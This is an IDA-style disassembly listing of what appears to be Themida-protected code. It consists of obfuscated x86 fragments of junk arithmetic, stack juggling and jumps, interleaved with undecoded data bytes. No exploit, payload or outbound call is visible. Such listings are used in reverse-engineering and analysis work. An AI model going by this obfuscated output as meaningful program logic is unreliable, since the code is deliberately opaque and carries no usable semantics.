loc_554367: ; CODE XREF: Themida_:00556F07j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov bh, dh
mov edx, [esp]
jmp loc_5465E0
; ---------------------------------------------------------------------------
db 1, 0D5h, 5Ah
aIlS db 9,'ë‹,$é',0
db 6Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55438E: ; CODE XREF: Themida_:005451C3j
add ebp, 7CE148B5h
jmp loc_545CB3
; ---------------------------------------------------------------------------
aSrFnHs5 db 'SRºfN',8,'Hé5"',0
dd 24048B00h, 30BBE9h, 55F48000h, 5866E700h, 0C008EFC0h
dd 0EF8002EFh, 29C2E9A2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5543C2: ; CODE XREF: Themida_:0055406Bj
and esi, 4A434056h
not esi
or esi, 57AF441Ah
shl esi, 1
push esi
not dword ptr [esp]
mov esi, [esp]
jmp loc_554B9F
; ---------------------------------------------------------------------------
dw 0F681h
dd 24804612h, 348BF289h, 1903E924h, 4870000h, 0C5815C24h
dd 4, 8704C583h, 248B242Ch, 66C33124h, 0FAE930FFh, 66FFFFBBh
dd 0E9240489h, 0FFFEE68Bh, 2434335Dh, 0E9243431h, 0FFFF3B07h
dd 8B240433h, 1C892424h, 2BB24h, 0EE810000h, 3CD82758h
dd 0B850DE01h, 70A2309Ch, 66234335h, 0EC872D73h, 3EE9C6EBh
dd 52FFFFA8h, 0C281E289h, 4, 33EDBF57h, 0F78140FDh, 40FD33E9h
dd 0FFE4FBE9h, 0BA525AFFh, 3E9D4B57h, 5DBFB850h, 0C22176EBh
dd 0BBC28158h, 11B89BAh, 24148BD6h, 4C481h, 0F7960000h
dd 0D3E956D0h
db 2Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55448F: ; CODE XREF: Themida_:0054FA28j
push ebx
mov ebx, 2F550AAh
not ebx
xchg ecx, ebx
add ecx, 0FFFFFFFFh
push ebx
push eax
mov eax, esp
add eax, 4
jmp loc_553918
; ---------------------------------------------------------------------------
dw 0EE80h
dd 0E9F30079h, 0FFFFF52Ah, 48B5A50h, 4C48124h, 1000000h
dd 24148BD6h, 55E38953h, 4BDh, 5DEB0100h, 0B4B85057h, 52536C41h
dd 0C36257BAh, 3E2C105h, 42DAF74Ah, 0AB9AEA81h, 0D0317E78h
dd 8BC7895Ah, 0C5E92404h
db 37h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5544F7: ; CODE XREF: Themida_:00542B9Fj
sub ecx, 13F620FAh
mov eax, [esp]
add esp, 4
jmp loc_553063
; ---------------------------------------------------------------------------
loc_55450B: ; CODE XREF: Themida_:00551DDEj
pop esp
push ebx
mov ebx, esp
jmp loc_55114D
; ---------------------------------------------------------------------------
dd 0C102EAC1h, 0C3E904EAh, 51FFFEF7h, 2360BBB9h, 59CB010Ch
dd 3FB1EB81h, 515A245Ch, 0D265C7B9h, 0C1E9815Bh, 2922EE4Fh
dd 0DD0159CDh, 1606C581h, 1C8B38E4h, 0E3895324h, 4C381h
dd 0C3830000h, 241C8704h, 242C875Ch, 0FF24248Bh, 48B2434h
dd 14F6824h, 0F2E90000h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_55456F: ; CODE XREF: Themida_:0054522Cj
pop ebx
add ebp, eax
add ebp, 157549BCh
push edx
mov edx, 4B98000Fh
jmp loc_54F4E5
; ---------------------------------------------------------------------------
loc_554583: ; CODE XREF: Themida_:0054CD7Fj
sub eax, 2
xchg eax, [esp]
pop esp
jmp loc_548E76
; ---------------------------------------------------------------------------
db 35h
dd 5C035784h, 0A576450Dh, 0B211E902h, 0E7C1FFFFh, 84684F08h
dd 89000057h, 0CFB82404h, 31009624h, 0FA3158C7h, 57243C8Bh
dd 0C781E789h, 4, 8704C783h, 96E9243Ch, 66FFFFC9h, 0E927CB68h
dd 2CCEh, 4C481h, 0EC810000h, 2, 241C8966h, 86CFB050h
dd 0E9D3F6D8h, 0FFFF19E7h, 0E958C601h, 0FFFF91F4h, 40E95153h
dd 35000033h, 25F877E2h, 0D9E95351h, 89FFFFC2h, 54015DEAh
dd 148B0424h, 4C48124h, 8F000000h, 4832404h, 34FF0424h
dd 89515A24h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 4BD555Ch
dd 1000000h, 6D685DEAh, 0E9000061h, 0FFFFB68Eh
; ---------------------------------------------------------------------------
loc_55464C: ; CODE XREF: Themida_:005571E2j
push esi
push ebx
jmp loc_5440B2
; ---------------------------------------------------------------------------
db 51h
dd 4A1663B9h, 59C82910h, 1B6CE9h, 24048900h, 1729E9h, 6B453500h
dd 1AE96DBEh, 0F7FFFEFFh, 0E95655DFh, 0FFFF5444h
; ---------------------------------------------------------------------------
loc_55467C: ; CODE XREF: Themida_:00547475j
mov edx, esp
jmp loc_55251E
; ---------------------------------------------------------------------------
db 0ADh
dd 57E3BB53h, 13E9117Eh
db 8, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55468F: ; CODE XREF: Themida_:0054AB53j
or ecx, 1716347Bh
jmp loc_54E592
; ---------------------------------------------------------------------------
dw 0EFB9h
dd 0BD173313h, 3F152C2Dh, 0FFBAE5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5546A9: ; CODE XREF: Themida_:005478E1j
mov ecx, [esp]
jmp loc_5557F6
; ---------------------------------------------------------------------------
loc_5546B1: ; CODE XREF: Themida_:0054EFF5j
sub esi, 377B2CDAh
sub esi, 46397C7Eh
mov edx, [esp]
add esp, 4
add esi, 4
jmp loc_5434CF
; ---------------------------------------------------------------------------
loc_5546CB: ; CODE XREF: Themida_:00544E28j
mov ebp, 5F0513A1h
sub ebp, 3F1B9C01h
jmp loc_5495E0
; ---------------------------------------------------------------------------
db 89h
dd 405E0h, 0E8830000h, 8F55E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5546EA: ; CODE XREF: Themida_:00552AD0j
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
jmp loc_543F3E
; ---------------------------------------------------------------------------
dw 0F580h
dd 0FC05E997h, 0F581FFFEh, 40A433C5h, 0B9515245h, 0CEA45BDBh
dd 0FF84F9E9h, 0B8505FFFh, 51DE385Fh, 0C225E0D1h, 81681C23h
dd 4ECh, 242C8900h, 0FF4798E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554731: ; CODE XREF: Themida_:00546E53j
mov [esp], edx
mov edx, ecx
mov eax, edx
pop edx
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
add edi, eax
mov eax, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
shr eax, 10h
xor eax, ecx
jmp loc_551802
; ---------------------------------------------------------------------------
loc_55476C: ; CODE XREF: Themida_:00542C77j
push esp
mov edi, [esp]
add esp, 4
push 702h
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_54B3BF
; ---------------------------------------------------------------------------
dd 0E950EAD1h, 0FFFFC1CCh, 0C380B5B3h, 42186801h, 4890000h
dd 4EAEE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5547A2: ; CODE XREF: Themida_:0054FC1Cj
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
jmp loc_544E2D
; ---------------------------------------------------------------------------
db 5Fh, 29h, 0D1h
dd 240C875Ah, 8924248Bh, 0E682434h, 89000030h, 4832424h
dd 34FF0424h, 0C4815E24h, 4, 1E1D68h, 240C8900h, 0FF37A8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5547E9: ; CODE XREF: Themida_:00552996j
pop ecx
push ecx
mov ecx, 7C5557A4h
add [esp+8], ecx
pop ecx
jmp loc_544BF9
; ---------------------------------------------------------------------------
loc_5547FA: ; CODE XREF: Themida_:0054A11Ej
pop esp
add esp, 4
popa
jmp loc_545439
; ---------------------------------------------------------------------------
db 66h
dd 66240433h, 66240431h, 5066D0F7h, 2474FF66h, 0E9586602h
dd 0FFFF0640h
; ---------------------------------------------------------------------------
loc_554820: ; CODE XREF: Themida_:00550E3Fj
add ebp, eax
pop eax
pop eax
sub ebp, 4
push ebp
jmp loc_54C0DB
; ---------------------------------------------------------------------------
loc_55482D: ; CODE XREF: Themida_:005478A1j
add ebp, 19908C4h
add ebx, ebp
jmp loc_549B18
; ---------------------------------------------------------------------------
dw 4BBh
dd 1000000h, 54AE9DEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554846: ; CODE XREF: Themida_:00557AE4j
push edi
mov edi, 4
jmp loc_5481DA
; ---------------------------------------------------------------------------
loc_554851: ; CODE XREF: Themida_:0055799Ej
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_551B9E
; ---------------------------------------------------------------------------
dd 4BD55h, 0EA010000h, 81242C8Bh, 4C4h, 0EBF5700h, 0E975D670h
dd 0FFFF4557h
; ---------------------------------------------------------------------------
loc_55487C: ; CODE XREF: Themida_:00545414j
sub ebx, 666F6890h
pop esi
xchg ebx, [esp]
mov esp, [esp]
mov [esp], eax
push ebx
mov eax, [esp]
add esp, 4
mov ebx, [esp]
push ebx
jmp loc_54589D
; ---------------------------------------------------------------------------
dd 4C481h, 0CE280000h, 241C8B59h, 8904EC83h, 0E0892404h
dd 405h, 4C08300h, 0EA62E950h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5548BE: ; CODE XREF: Themida_:005492F7j
push ebx
mov eax, [esp]
push ebx
mov ebx, esp
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
push esi
jmp loc_54F9A7
; ---------------------------------------------------------------------------
loc_5548D4: ; CODE XREF: Themida_:00545660j
mov ebx, esp
add ebx, 4
jmp loc_54A640
; ---------------------------------------------------------------------------
aIHJ db '‰ÁhÝJ',0
align 4
dd 0FFD4A9E9h, 81E289FFh, 4C2h, 4BF5700h, 0E9000000h, 0FFFF8CA3h
dd 241C8758h, 0FF04B5E9h, 0E28952FFh, 0FFE1E1E9h, 5AD089FFh
dd 1C078D0Dh, 0C1D8F766h, 0C83503E0h, 5660460h, 7EBE2C39h
dd 72ED1305h, 3749E9DEh, 0EFC1FFFFh, 62406807h, 14890000h
dd 534FBA24h, 39E96999h
db 9Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554947: ; CODE XREF: Themida_:0054F8DAj
sub edx, 34FE5E9Ch
pop ecx
xchg edx, [esp]
pop esp
pop ebx
push edi
mov edi, esp
add edi, 4
jmp loc_545A47
; ---------------------------------------------------------------------------
loc_554961: ; CODE XREF: Themida_:00546F22j
add edi, eax
sub edi, 22977386h
jmp loc_555057
; ---------------------------------------------------------------------------
loc_55496E: ; CODE XREF: Themida_:005429AAj
add esp, 4
sub ebx, 0FFFFFFFFh
jmp loc_553236
; ---------------------------------------------------------------------------
dd 0F77A112Dh, 0E9C82916h, 0FFFEF4F6h, 63C06866h, 0FF4839E9h
dd 0F2E952FFh, 51FFFEEDh, 0DAB3F5B5h, 0FEE19CE9h, 2E7C1FFh
dd 6E94747h, 87FFFF9Ch, 248B2404h, 4C78124h, 87000000h
dd 54E9243Ch, 89FFFFEBh, 0FE92414h, 0BAFFFFC7h, 14D2605Dh
dd 0AC76E94Ah, 0C583FFFFh, 242C8704h, 0E924248Bh, 0FFFEDD2Ch
dd 2EE9C131h, 8BFFFF6Eh, 0C8842424h, 0DD1AE99Ch, 0EE81FFFEh
dd 16E505Ah, 0FF1F0FE9h, 2434FFFFh, 8324048Bh, 0C16804C4h
dd 8900005Fh, 0D368240Ch, 89000070h, 4812424h, 424h, 84E95900h
dd 0FFFFFF0Fh, 81592434h, 4ECh, 242C8900h, 2434FF54h, 0CBE9575Dh
dd 81FFFF20h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 33B22414h
dd 0D06AEA80h, 7EAC0E2h, 5166C2FEh, 0B450C5B5h, 0F6DCF659h
dd 7912E9DCh, 1C89FFFFh, 0C14CE924h, 0DDF6FFFFh, 5207EDC0h
dd 0F280A2B2h, 0D3885322h, 0DA88D3F6h, 0BEC2805Bh, 0E95AD530h
dd 0FFFF5991h
; ---------------------------------------------------------------------------
loc_554A90: ; CODE XREF: Themida_:00551EE2j
push ebx
mov ebx, 601067FCh
mov edx, ebx
pop ebx
xor [esp+4], edx
jmp loc_544F7A
; ---------------------------------------------------------------------------
loc_554AA2: ; CODE XREF: Themida_:00550F2Ej
sub esp, 4
mov [esp], esi
jmp loc_54FBDF
; ---------------------------------------------------------------------------
dd 0C8BCE01h, 4C48324h, 4C681h, 0FF560000h, 5E042474h
dd 0E924048Fh, 0FFFFF65Ch, 4C0835Eh, 8B240487h, 2C8B2424h
dd 4C48124h, 53000000h, 2BBh, 5BDA0100h, 4BD068h, 24148900h
dd 42474FFh, 24048F5Ah, 6824248Bh, 788Ah, 68241C89h, 77C8h
dd 68240489h, 305A61B2h, 0AA3BB58h, 0C30122B1h, 0CFCB8158h
dd 0E963FD3Bh, 0FFFEEB3Dh, 48BC209h, 4C48324h, 66EEB850h
dd 0FE051884h, 2552E779h, 5C2A412Ch, 0FFB037E9h, 24248BFFh
dd 582434FFh, 0FF562BE9h, 57515DFFh, 68727CBFh, 564DB927h
dd 0E9548Fh, 51FFFF76h, 0A436FEB9h, 59CB014Bh, 8124048Bh
dd 4C4h, 0E7895700h, 4C781h, 7AE90000h, 57FFFF91h, 0AA527EBFh
dd 7AEF8153h, 153AA52h, 0BB535FF8h, 3E866C20h, 3CE0B850h
dd 5AE9652Dh
db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554B9F: ; CODE XREF: Themida_:005543D9j
add esp, 4
xor esi, 80008Dh
add ebp, esi
pop esi
push eax
mov eax, 67DA2C5Ah
add eax, 16F02097h
push ebx
mov ebx, 203453D4h
jmp loc_552E97
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 0BCh
db 4Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554BC7: ; CODE XREF: Themida_:0054777Fj
xor ebp, edx
xor edx, ebp
jmp loc_555BD0
; ---------------------------------------------------------------------------
dd 495E4EBAh, 4EAC102h, 0D6DC281h, 0BD5511BBh, 11DFA355h
dd 15DEA31h, 89515AD6h, 4C181E1h, 50000000h, 4B8h, 0E9C12900h
dd 18E8h, 456AC581h, 0BA527A84h, 4A2EABh, 0F706E2C1h, 0C28142D2h
dd 1F70D23Fh, 0FFF764E9h, 24248BFFh, 0FEDAE7E9h, 2434FFFFh
dd 0F849E95Bh, 0EE81FFFEh, 4091184Eh, 4100B850h, 0C32908CCh
dd 7301E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554C42: ; CODE XREF: Themida_:0055503Bj
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_544F5F
; ---------------------------------------------------------------------------
db 4, 0B9h, 2Ch
dd 2434FFC2h, 0E789575Bh, 4C781h, 0B7E90000h, 81FFFF2Eh
dd 0BA36E2EAh, 4EE95923h, 50FFFFA6h, 451A1CB8h, 35CF054Bh
dd 0C301023Eh, 24148B58h, 0FF21A0E9h, 538304FFh, 0E7D06AB7h
dd 4A3C780h, 2CF8002Ch, 89505B2Ch, 0BC8CE9E0h, 0BA52FFFFh
dd 66F75F62h, 0C7EBE56h, 0F52959DCh, 0E9D5295Eh, 0FFFF8FE6h
dd 4C581h, 69E90000h, 81FFFFACh, 0E4E887F6h, 1E79053Eh
dd 0F00118C7h, 0FF8E8EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554CD5: ; CODE XREF: Themida_:00554159j
push 48FDh
mov [esp], edx
push esi
push ebx
push eax
mov eax, 659B3E5Ah
not eax
inc eax
and eax, 457A36FCh
or eax, 37B639DAh
push ecx
mov ecx, 416B3F59h
sub eax, ecx
pop ecx
xor eax, 0FCAC88B9h
jmp loc_5570F2
; ---------------------------------------------------------------------------
loc_554D05: ; CODE XREF: Themida_:005443D6j
add esp, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_5558DF
; ---------------------------------------------------------------------------
dw 0C681h
dd 0DEE34065h, 0FFC17DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554D25: ; CODE XREF: Themida_:005435CEj
pop esp
push ecx
mov ecx, esp
push ebp
mov ebp, 4
add ecx, ebp
pop ebp
jmp loc_544C64
; ---------------------------------------------------------------------------
loc_554D37: ; CODE XREF: Themida_:0054B5DFj
mov [esp], eax
jmp loc_54E54A
; ---------------------------------------------------------------------------
loc_554D3F: ; CODE XREF: Themida_:0054B50Cj
pop ebx
jmp loc_54D4AC
; ---------------------------------------------------------------------------
db 58h, 83h, 0ECh
dd 242C8904h, 551524BDh, 44BE5646h, 0E962A25Ah, 0FFFF6C73h
dd 83241C8Bh, 7EE904C4h, 0C1FFFF21h, 0EFC107EFh, 0D8F78102h
dd 816D2828h, 0B82626F7h, 5FFE293Fh, 7464BF57h, 0ADE900E7h
dd 5E000027h, 26E9F001h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554D8F: ; CODE XREF: Themida_:0054937Bj
mov eax, 1CC0363Ch
push esi
mov esi, 607A0C7Ch
sub esi, 5984B982h
or eax, esi
jmp loc_557908
; ---------------------------------------------------------------------------
loc_554DA7: ; CODE XREF: Themida_:00555EBEj
mov dl, 0E8h
neg dl
jmp loc_54D2C4
; ---------------------------------------------------------------------------
dd 0E089505Ch, 700E68h, 24148900h, 4BAh, 750E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554DC6: ; CODE XREF: Themida_:0054F843j
push 128Dh
mov [esp], ecx
push edx
jmp loc_54C76A
; ---------------------------------------------------------------------------
dd 31241433h, 14332414h, 0B0505C24h, 0E9C0FEF2h, 0FFFFB182h
dd 8159CF89h, 0DC0CFEEBh, 50C38174h, 814C315Eh, 0CE5A61C3h
dd 72B2E961h, 5155FFFFh, 3D5159B9h, 2AF7BD01h, 83E90179h
dd 81FFFFB4h, 0F03C81EEh, 24048B15h, 4C481h, 0ED810000h
dd 7B3D1C7Eh, 0C581F529h, 7B3D1C7Eh, 0E924348Bh, 0FFFF294Ch
dd 4D6496BEh, 5EEC165h, 73FBBF57h, 814F221Ch, 45587DF7h
dd 7EFC11Ah, 36BE564Fh, 8111597Eh, 2930D1E6h, 9AF68165h
dd 5306A119h, 0C84D5BBBh, 3CEB8130h, 0E938E129h, 0FFFEF6F4h
dd 9D1C77FFh, 1CD35966h, 89E99C24h, 81FFFED8h, 5E0A29C6h
dd 88685931h, 8900003Ah, 2BB241Ch, 57000000h, 65225BFh
dd 0E4C8E91Dh, 0C381FFFFh, 216CBBFh, 8172942Dh, 5D82924h
dd 24817294h, 0B1BE565Bh, 0C1364259h, 0EEC105EEh, 0FBF68105h
dd 813ABB1Fh, 61771EF6h, 0FDF1E90Dh, 0EC83FFFFh, 24248904h
dd 0E1685251h, 5A73330Ah, 0FEEC5CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554EE5: ; CODE XREF: Themida_:0054E91Dj
or esi, 73EA1FD8h
add esi, 21F06E78h
mov eax, esi
pop esi
dec eax
sub eax, 8BD28A9h
shl eax, 8
inc eax
xor eax, 0D39B752h
push esi
mov esi, eax
mov ecx, esi
mov esi, [esp]
add esp, 4
mov eax, [esp]
add esp, 4
xor ecx, 5DF76616h
shr ecx, 2
push eax
mov eax, 3A5227AEh
jmp loc_547393
; ---------------------------------------------------------------------------
db 0F7h
dd 6E952D3h, 81FFFEE1h, 253717C1h, 81C10100h, 253717E9h
dd 6B85000h, 292BBD13h, 815858C1h, 0EA5F0C1h, 0C381BFh
dd 1083656h, 0EB81CBh, 0E9083656h, 0FFFF6DF0h, 60A768h
dd 24048900h, 0FF59C9E9h, 62B3B9FFh, 4AE958B9h, 33FFFEEEh
dd 0BEE9241Ch, 1FFFFFBh, 57C52DD0h, 148B1929h, 63DAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554F92: ; CODE XREF: Themida_:0054C4BEj
mov eax, esp
add eax, 4
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_552CFB
; ---------------------------------------------------------------------------
db 87h
dd 4BD3F7F3h, 1E4CF381h, 0D82935E9h
db 5Bh, 59h, 53h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 76E4321Eh
or esi, 1D14755Dh
jmp loc_54E8F2
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 24048B66h, 50E18951h, 0D41BBB8h, 3605E95Fh, 248BFFFFh
dd 4C6DE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554FF2: ; CODE XREF: Themida_:00556F47j
sub esp, 4
jmp loc_54D05F
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0D1h
dd 29663830h, 0D1BA52E9h, 29663830h, 875D5AD1h, 248B240Ch
dd 241C8924h, 11E95351h, 0FF000028h, 0E9042474h, 0FFFF16E3h
; ---------------------------------------------------------------------------
loc_555028: ; CODE XREF: Themida_:00544FBEj
pop edi
add eax, 691A67B1h
add eax, ecx
sub eax, 691A67B1h
pop ecx
add eax, 4
jmp loc_554C42
; ---------------------------------------------------------------------------
dd 2C2EE281h, 0B7E926B6h
db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55504B: ; CODE XREF: Themida_:005525C3j
mov ecx, 6CE8768Dh
xor ecx, ebp
jmp loc_5532C9
; ---------------------------------------------------------------------------
loc_555057: ; CODE XREF: Themida_:00554969j
pop eax
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], edi
jmp loc_552AAE
; ---------------------------------------------------------------------------
loc_55506C: ; CODE XREF: Themida_:00545F95j
mov [esp], ebx
mov ebx, 30131E8Ch
jmp loc_5470BD
; ---------------------------------------------------------------------------
loc_555079: ; CODE XREF: Themida_:0054485Cj
add esi, 1410B030h
or edi, esi
pop esi
add edi, 0A200B81Dh
add eax, edi
pop edi
xchg eax, [esp]
jmp loc_5571D6
; ---------------------------------------------------------------------------
db 81h
dd 0DC5ABBC6h, 34875A6Fh, 0C7815C24h, 74112C7h, 6C17E957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5550AA: ; CODE XREF: Themida_:00544882j
push esi
push esp
pop esi
jmp loc_5458AA
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24348904h, 0FF4536E9h, 2434FFFFh, 0E272E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5550C6: ; CODE XREF: Themida_:00543134j
pop ecx
jmp loc_54F6F4
; ---------------------------------------------------------------------------
loc_5550CC: ; CODE XREF: Themida_:005514DCj
push esi
mov esi, 4
add ebp, esi
pop esi
add ebp, 4
xchg ebp, [esp]
pop esp
push edi
mov edi, esp
jmp loc_545B62
; ---------------------------------------------------------------------------
db 5Eh
dd 8704C483h, 248B240Ch, 24148924h, 11E99C50h, 81FFFED6h
dd 0CAB8B6EFh, 9A8FE9B7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_555106: ; CODE XREF: Themida_:0054B7DAj
add ebp, 0AE0DD205h
add esi, ebp
jmp loc_544E8E
; ---------------------------------------------------------------------------
loc_555113: ; CODE XREF: Themida_:0054CDE6j
dec eax
jmp loc_55798D
; ---------------------------------------------------------------------------
loc_555119: ; CODE XREF: Themida_:0054F7D5j
add edi, eax
pop eax
add ebx, 7CDC27A1h
add ebx, edi
sub ebx, 7CDC27A1h
mov edi, [esp]
add esp, 4
push eax
jmp loc_54AC5F
; ---------------------------------------------------------------------------
db 89h, 0E5h, 0E9h
dd 0FFFF17DAh, 240C8B66h, 4EC8153h, 54000000h, 5624048Fh
dd 1C2CBA52h, 0EAC10FB2h, 94C28106h, 89FFC137h, 4EE95AD6h
dd 80FFFFC3h, 0F320CAC6h, 8124148Bh, 4C4h, 72F38000h, 0CC9FE951h
dd 0EE01FFFFh, 0FF8AEFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555185: ; CODE XREF: Themida_:005501C8j
or edi, edx
jmp loc_546705
; ---------------------------------------------------------------------------
dd 5624048Bh, 0E950E689h, 0FFFF7DB6h
; ---------------------------------------------------------------------------
loc_555198: ; CODE XREF: Themida_:0054360Fj
pop dword ptr [esp]
xchg ecx, edi
not ecx
xchg ecx, edi
sub esp, 4
jmp loc_5494A4
; ---------------------------------------------------------------------------
loc_5551A9: ; CODE XREF: Themida_:0054E429j
push dword ptr [esp]
pop eax
push 4D29h
mov [esp], edi
push esp
pop edi
push 1175h
mov [esp], ebp
sub esp, 4
mov [esp], eax
mov eax, 657135E8h
jmp loc_54CDE1
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0E843E900h, 0C581FFFEh, 0A251E844h, 685DEE01h
dd 58E3h, 0FF243489h, 5E042474h, 0FF8F7EE9h, 24148BFFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
push ecx
mov ecx, 4
add edi, ecx
pop ecx
push 3CA7h
mov [esp], edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_54270C
; ---------------------------------------------------------------------------
dw 82B8h
dd 40369543h, 504E8C1h, 2129B021h, 0FFB08BE9h, 81F229FFh
dd 4ECh, 24048900h, 4747B5B8h, 0E233E949h, 5166FFFEh, 0B5CBB252h
dd 0C4B450E1h, 2858E500h, 0E95266D5h, 0FFFF3F4Fh, 13439D68h
dd 0C8E95B7Ah, 5AFFFF5Eh, 5304C483h, 307280BBh, 42CB8129h
dd 0E949606Ah, 0FFFF39EDh
; ---------------------------------------------------------------------------
loc_5552A4: ; CODE XREF: Themida_:00553B2Aj
xor edx, 7D80D858h
sub ebx, edx
pop edx
push eax
jmp loc_542F56
; ---------------------------------------------------------------------------
db 59h
dd 0FEE075E9h, 20C380FFh, 0B4505866h, 0E65CE964h, 41E9FFFFh
dd 53FFFED4h, 3EE9FAB3h, 64FFFEEBh, 2B60F66h, 83E08950h
dd 3C8904ECh, 535F5424h, 0FF7EE5E9h, 84EB81FFh, 896161EBh
dd 0C1B7E9DFh, 0E0C0FFFFh, 0DD5CE902h, 0E589FFFFh, 4C581h
dd 0E9570000h, 0FFFED6E8h
; ---------------------------------------------------------------------------
loc_55530C: ; CODE XREF: Themida_:005553E1j
sub ecx, edx
mov edx, [esp]
push 4B92h
mov [esp], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
and eax, ecx
push dword ptr [esp]
pop ecx
push eax
push esp
jmp loc_547F05
; ---------------------------------------------------------------------------
loc_55533E: ; CODE XREF: Themida_:00542940j
mov ecx, 17B31B4Bh
not ecx
shl ecx, 3
xor ecx, 21C4004Bh
or ecx, 5FB873E1h
push esi
jmp loc_54AC2C
; ---------------------------------------------------------------------------
dw 0D2F6h
dd 0FFB9BAE9h, 7BBE56FFh, 0BF1DEF79h, 1DEF797Dh, 0FED559E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555371: ; CODE XREF: Themida_:00543FA5j
pop ecx
jmp loc_5574B2
; ---------------------------------------------------------------------------
db 89h
dd 8B542434h, 0C4812434h, 4, 4C681h, 0B7E90000h, 29FFFF8Ch
dd 49415AD1h, 0FFC488E9h, 4C483FFh, 0FED36BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5553A1: ; CODE XREF: Themida_:00547D14j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xchg edx, [esp]
jmp loc_545E86
; ---------------------------------------------------------------------------
dw 0C700h
dd 0D40FE958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5553BE: ; CODE XREF: Themida_:00545133j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
push 2013h
mov [esp], ecx
mov ecx, 5461052Ah
add ecx, 27974F5Ah
push edx
mov edx, 7BF81484h
jmp loc_55530C
; ---------------------------------------------------------------------------
dw 685Bh
dd 179Eh, 0B8240489h, 502D17A3h, 8358C301h, 348904ECh
dd 47ED6824h, 15E027Ch, 24348BF3h, 0FF0629E9h, 0C3015DFFh
dd 27D5EB81h, 0E5E939A7h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55541B: ; CODE XREF: Themida_:00545E87j
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
mov ebx, esp
push edi
mov edi, 20C96E2Ch
push esi
push edx
jmp loc_549F4E
; ---------------------------------------------------------------------------
loc_555437: ; CODE XREF: Themida_:00551545j
push 6C1Dh
mov [esp], ecx
jmp loc_54A913
; ---------------------------------------------------------------------------
dd 9C240CD3h, 0FED2BFE9h, 243668FFh, 1C890000h, 81E38924h
dd 4C3h, 4BE5600h, 0E9000000h, 0FFFF3AD5h, 0BA241489h
dd 51545D7Eh, 148BD001h, 4C48324h, 0FEEC75E9h, 0F7885AFFh
dd 0B1515A66h, 0A5C980D4h, 0FF601DE9h, 2434FFFFh, 0FF123CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_555495: ; CODE XREF: Themida_:0054DC33j
mov eax, 209A3D27h
jmp loc_543391
; ---------------------------------------------------------------------------
loc_55549F: ; CODE XREF: Themida_:0054AEB5j
add esp, 4
xor ebp, edi
jmp loc_54E632
; ---------------------------------------------------------------------------
db 28h, 0F8h, 2Ch
dd 0C9B5517Fh, 0E8285404h, 0FF6ED2E9h, 7AE952FFh, 68FFFF72h
dd 202Bh, 0E9242C89h, 0FFFFBFF4h, 719C68h, 242C8900h, 79AAE954h
